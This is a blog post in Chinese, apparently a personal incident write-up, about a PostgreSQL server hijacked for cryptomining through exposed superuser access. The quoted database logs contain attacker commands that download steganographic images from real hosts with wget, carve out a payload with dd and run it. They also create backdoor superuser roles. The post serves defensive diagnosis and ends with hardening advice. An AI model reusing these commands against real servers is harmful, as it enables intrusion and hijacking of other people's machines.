背景
近期有朋友遇到服务器被当矿机的情况，想起之前我也遇到过类似的 case, 是服务器上的 postgre 数据库被注入斯嘉丽约翰逊图片攻击了，重新翻出这篇文章分享当时被攻击后的排查心得。
今天下午(2018.08.11)连续收到了腾讯云我的服务器 CPU overload 报警
登录服务器一看, 有个 postgres user 跑的进程 ./Ac2p018-0 把 CPU 占满了，进程名及运行信息尤其奇怪, 肯定不是运行 postgre 数据库衍生的进程。
排查
首先并没有怀疑是被当矿机了，想先排查下这个进程究竟是什么玩意儿。
于是根据 top 命令中的 pid 到 proc 目录下查询进程详细信息，看到 /proc/20619/stack 下看到有一长串的
[<ffffffff81841ff2>] entry_SYSCALL_64_fastpath+0x16/0x71
似乎短时间里发起大量的系统调用(prepare)并且还在不断增长。
接着 cat /proc/20619/cmdline 发现该进程执行的命令是 /var/lib/postgresql/9.5/main/Ac2p018-0 这个坏家伙，查看发现这是个二进制文件，看不出问题，猜测和 postgresql 数据库有关，看起来不像是什么数据库维护脚本，第一反应是被数据库攻击了，于是查看 /var/lib/postgresql/.bash_history 和 /var/lib/postgresql/.psql_history 试图看看是否有被登录服务器手动执行命令的痕迹，发现一条记录都没，显然是被手动清空了，更加确定是被 hack 了。
担心已经被拿到 root 权限了，于是通过 lastlog 和 last 查看登录状态，所幸之前的 root 账户的 ip 都是我自己的，只有 postgres 这个账户看起来有异常。
虽然松了一口气，但通常黑客会习惯在黑入服务器后运行个逆向 shell 便于更方便地登录服务器进行后续操作，于是执行 netsta -nlp 查看是否异常端口处于监听状态
ubuntu@VM-187-130-ubuntu:~$ netstat -nlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8088 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5432 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::8086 :::* LISTEN -
tcp6 0 0 :::5432 :::* LISTEN -
tcp6 0 0 :::25 :::* LISTEN -
tcp6 0 0 :::8000 :::* LISTEN -
udp 0 0 10.141.187.130:123 0.0.0.0:* -
udp 0 0 127.0.0.1:123 0.0.0.0:* -
udp 0 0 0.0.0.0:123 0.0.0.0:* -
udp6 0 0 :::123 :::* -
Active UNIX domain sockets (only servers)
Proto RefCnt Flags Type State I-Node PID/Program name Path
unix 2 [ ACC ] STREAM LISTENING 13116 - /var/lib/lxd/unix.socket
unix 2 [ ACC ] STREAM LISTENING 2865755417 27056/systemd /run/user/500/systemd/private
unix 2 [ ACC ] SEQPACKET LISTENING 9722 - /run/udev/control
unix 2 [ ACC ] STREAM LISTENING 19759 - /run/docker/libnetwork/e1b89d6cc808988f4fc021f7f162718968e2759cff24c59edb04804b61133503.sock
复制代码未观察到异常, 由此确认目前服务器暂时安全，开始深入挖掘这次被黑原因。
由于看到是 postgre 用户执行的异常进程，可能是通过数据库某些漏洞导致可以反向执行命令到服务器中执行程序，那么一定会有相关日志。于是接着到 /var/lib/postgresql/9.5/main/pg_log 下查看数据库日志，抓到了几个奇怪的地方：
- 有一个长连接持续从
http://aluka.info/x6下载文件，
5144 --2018-08-11 15:47:30-- http://aluka.info/x6
5145 Resolving aluka.info (aluka.info)... 103.27.110.206
5146 Connecting to aluka.info (aluka.info)|103.27.110.206|:80... connected.
5147 HTTP request sent, awaiting response... 200 OK
5148 Length: 2758655 (2.6M)
5149 Saving to: ‘xmm’
5150
5151 0K .......... .......... .......... .......... .......... 1% 399K 7s
5152 50K .......... .......... .......... .......... .......... 3% 601K 5s
5153 100K .......... .......... .......... .......... .......... 5% 592K 5s
5154 150K .......... .......... .......... .......... .......... 7% 1.69M 4s
5155 200K .......... .......... .......... .......... .......... 9% 754K 4s
5156 250K .......... .......... .......... .......... .......... 11% 422K 4s
5157 300K .......... .......... .......... .......... .......... 12% 405K 4s
5158 350K .......... .......... .......... .......... .......... 14% 179K 5s
5159 400K .......... .......... .......... .......... .......... 16% 81.1K 8s
5160 450K .......... .......... .......... .......... .......... 18% 35.1K 13s
5161 500K .......... .......... .......... .......... .......... 20% 117K 13s
5162 550K .......... .......... .......... .......... .......... 22% 86.3K 14s
5163 600K .......... .......... .......... .......... .......... 24% 122K 14s
5164 650K .......... .......... .......... .......... .......... 25% 169K 13s
5165 700K .......... .......... .......... .......... .......... 27% 171K 13s
5166 750K .......... .......... .......... .......... .......... 29% 93.8K 13s
5167 800K .......... .......... .......... .......... .......... 31% 94.9K 13s
5168 850K .......... .......... .......... .......... .......... 33% 101K 13s
5169 900K .......... .......... .......... .......... .......... 35% 53.6K 14s
5170 950K .......... .......... .......... .......... .......... 37% 94.3K 14s
5171 1000K .......... .......... .......... .......... .......... 38% 77.0K 13s
5172 1050K .......... .......... .......... .......... .......... 40% 73.6K 13s
5173 1100K .......... .......... .......... .......... .......... 42% 97.2K 13s
5174 1150K .......... .......... .......... .......... .......... 44% 130K 13s
5175 1200K .......... .......... .......... .......... .......... 46% 194K 12s
5176 1250K .......... .......... .......... .......... .......... 48% 173K 12s
5177 1300K .......... .......... .......... .......... .......... 50% 109K 11s
5178 1350K .......... .......... .......... .......... .......... 51% 82.9K 11s
5179 1400K .......... .......... .......... .......... .......... 53% 134K 10s
5180 1450K .......... .......... .......... .......... .......... 55% 106K 10s
5181 1500K .......... .......... .......... .......... .......... 57% 188K 10s
5182 1550K .......... .......... .......... .......... .......... 59% 51.4K 9s
5183 1600K .......... .......... .......... .......... .......... 61% 54.6K 9s
5184 1650K .......... .......... .......... .......... .......... 63% 86.8K 9s
5185 1700K .......... .......... .......... .......... .......... 64% 160K 8s
5186 1750K .......... .......... .......... .......... .......... 66% 97.9K 8s
5187 1800K .......... .......... .......... .......... .......... 68% 153K 8s
5188 1850K .......... .......... .......... .......... .......... 70% 127K 7s
5189 1900K .......... .......... .......... .......... .......... 72% 117K 7s
5190 1950K .......... .......... .......... .......... .......... 74% 63.8K 6s
5191 2000K .......... .......... .......... .......... .......... 76% 119K 6s
5192 2050K .......... .......... .......... .......... .......... 77% 67.1K 5s
5193 2100K .......... .......... .......... .......... .......... 79% 98.0K 5s
5194 2150K .......... .......... .......... .......... .......... 81% 127K 5s
5195 2200K .......... .......... .......... .......... .......... 83% 105K 4s
5196 2250K .......... .......... .......... .......... .......... 85% 99.6K 4s
5197 2300K .......... .......... .......... .......... .......... 87% 76.9K 3s
5198 2350K .......... .......... .......... .......... .......... 89% 162K 3s
5199 2400K .......... .......... .......... .......... .......... 90% 153K 2s
5200 2450K .......... .......... .......... .......... .......... 92% 239K 2s
5201 2500K .......... .......... .......... .......... .......... 94% 160K 1s
5202 2550K .......... .......... .......... .......... .......... 96% 191K 1s
5203 2600K .......... .......... .......... .......... .......... 98% 118K 0s
5204 2650K .......... .......... .......... .......... ... 100% 82.4K=24s
5205
5206 2018-08-11 15:47:54 (111 KB/s) - ‘xmm’ saved [2758655/2758655]
5207
复制代码- 发现更早的日志里，有两个连接从
img1.imagehousing.com下载了两张图片, 并成功设置了 777 权限
23 Resolving img1.imagehousing.com (img1.imagehousing.com)... 104.27.180.36, 104.27.181.36, 2400:cb00:2048:1::681b:b524, ...
24 Connecting to img1.imagehousing.com (img1.imagehousing.com)|104.27.180.36|:80... connected.
25 HTTP request sent, awaiting response... 200 OK
26 Length: 1571 (1.5K) [image/png]
27 Saving to: ‘./conf1.dat’
28
29 0K . 100% 368M=0s
30
31 2018-08-05 12:54:26 (368 MB/s) - ‘./conf1.dat’ saved [1571/1571]
32
33 896+0 records in
34 896+0 records out
35 896 bytes copied, 0.000933778 s, 960 kB/s
36 chmod: cannot access './x4064410502': No such file or directory
37 2018-08-05 12:54:26 CST [24806-14] pgsql@postgres LOG: duration: 810.107 ms statement: select fun6404402637 ('wget -c http://img1.imagehousing.com/0/baby-942650.png -O ./conf1.dat;dd skip=675 bs=1 if=./conf1.dat of=config.json ;rm -f ./conf1#
38 --2018-08-05 12:54:27-- http://img1.imagehousing.com/0/cat-497532.png
39 Resolving img1.imagehousing.com (img1.imagehousing.com)... 104.27.180.36, 104.27.181.36, 2400:cb00:2048:1::681b:b424, ...
40 Connecting to img1.imagehousing.com (img1.imagehousing.com)|104.27.180.36|:80... connected.
41 HTTP request sent, awaiting response... 200 OK
42 Length: 840464 (821K) [image/png]
43 Saving to: ‘ifzsvasg.jpg’
44
45 0K .......... .......... .......... .......... .......... 6% 81.3K 9s
46 50K .......... .......... .......... .......... .......... 12% 153K 7s
47 100K .......... .......... .......... .......... .......... 18% 86.2K 7s
48 150K .......... .......... .......... .......... .......... 24% 635K 5s
49 200K .......... .......... .......... .......... .......... 30% 138K 4s
50 250K .......... .......... .......... .......... .......... 36% 139K 4s
51 300K .......... .......... .......... .......... .......... 42% 146K 4s
52 350K .......... .......... .......... .......... .......... 48% 176K 3s
53 400K .......... .......... .......... .......... .......... 54% 194K 3s
54 450K .......... .......... .......... .......... .......... 60% 189K 2s
55 500K .......... .......... .......... .......... .......... 67% 179K 2s
56 550K .......... .......... .......... .......... .......... 73% 178K 1s
57 600K .......... .......... .......... .......... .......... 79% 187K 1s
58 650K .......... .......... .......... .......... .......... 85% 191K 1s
59 700K .......... .......... .......... .......... .......... 91% 132K 0s
60 750K .......... .......... .......... .......... .......... 97% 202K 0s
61 800K .......... .......... 100% 141K=5.3s
62
63 2018-08-05 12:54:33 (154 KB/s) - ‘ifzsvasg.jpg’ saved [840464/840464]
...
复制代码看起来通过 postgre 端口执行了远程下载指令。不禁很好奇是怎么做到的，但是又不敢把这两张图片直接 scp 到本地，于是起了个静态文件 serve 看了下这两张图片表面上看起来竟然是斯嘉丽约翰逊的照片！
那么为啥要下这张图片呢，又是怎么通过这张图片到我的服务器中执行命令的呢？
印象里面 jpg/jpeg 图片似乎有种隐写 payload 的方法，早年间作为葫芦娃种子来传播，网上查到 metaspolit 的这个组件似乎可以实现。同时也找到了这个工具 strgdetext 用来提取图片中的隐写数据，可惜提取出来后仍是一段看不懂二进制码，于是思路阻塞住了。
想到既然需要提取 payload, 那么数据库日志里肯定也有相应代码来做这一步，于是重新翻了下日志，果不其然，发现了真正攻击的这一步在这儿
68 2018-08-05 12:54:34 CST [24806-15] pgsql@postgres LOG: duration: 6705.657 ms statement: select fun6404402637('wget -c http://img1.imagehousing.com/0/cat-497532.png -O ifzsvasg.jpg;dd skip=20656 bs=1 if=./ifzsvasg.jpg of=x4064410502;rm -f ./i#
69 2018-08-05 12:54:34 CST [24845-1] postgres@postgres FATAL: password authentication failed for user "postgres"
70 2018-08-05 12:54:34 CST [24845-2] postgres@postgres DETAIL: Connection matched pg_hba.conf line 101: "host all all 0.0.0.0/0 md5"
71 2018-08-05 12:54:35 CST [24806-16] pgsql@postgres ERROR: role "login" already exists
72 2018-08-05 12:54:35 CST [24806-17] pgsql@postgres STATEMENT: CREATE ROLE LOGIN ENCRYPTED PASSWORD 'md51351dbb7fe95c1f277282bc842cb3d6b' SUPERUSER CREATEDB CREATEROLE REPLICATION VALID UNTIL 'infinity';
73 2018-08-05 12:54:36 CST [24806-18] pgsql@postgres ERROR: role "login" already exists
74 2018-08-05 12:54:36 CST [24806-19] pgsql@postgres STATEMENT: CREATE ROLE LOGIN ENCRYPTED PASSWORD 'md51351dbb7fe95c1f277282bc842cb3d6b' SUPERUSER CREATEDB CREATEROLE VALID UNTIL 'infinity';
75 2018-08-05 12:54:36 CST [24806-21] pgsql@postgres STATEMENT: CREATE ROLE pgsql LOGIN ENCRYPTED PASSWORD 'md56413b16b3d0861a1d2538e8d5a5eb39c' SUPERUSER CREATEDB CREATEROLE VALID UNTIL 'infinity';
复制代码我们简单分析下这段日志，
看到其通过 select tmp_function(cmd) 的方式 执行了以下操作
下载图片 --> 提取 paylod --> 设置权限 --> 删除图片 --> 通过 payload 里的自定义代码重建了 pgsql 数据库账户 --> 拿到数据库 root 权限
复制代码最终打了这一套组合拳，漂亮！
排查到问题之后，赶紧清空了相关文件和 dbuser，设置了 postgres superuser 仅能通过本地连接的设置，禁掉了 superuser 网络连接, 至此 postgre 用户就不再能通过远程访问来执行命令了, 接着再确认下服务器其他进程, 发现没有异常, 终于长舒一口气。
回想起来，看看是否有其他人也遇到了「斯嘉丽攻击」, 一查发现果然不只我一人中招，不过看了下 exploit db 里还没记录这个漏洞，对比了下时间，似乎是18年初才兴起的。
这下就弄明白了, 之前建的长连接原来是在挖矿, 自己也中招被当成矿机了。
反思
这次主要的原因是 postgres 配置权限时偷懒导致服务器变成挖矿僵尸。
- postgres
pg_hba.conf里的用户认证 method 应改成 md5 方式 - 数据库 superuser 只配置只能 local 访问禁止远程访问
- 腾讯云安全组里数据库端口 outbound 应尽量限制 ip 段
近期评论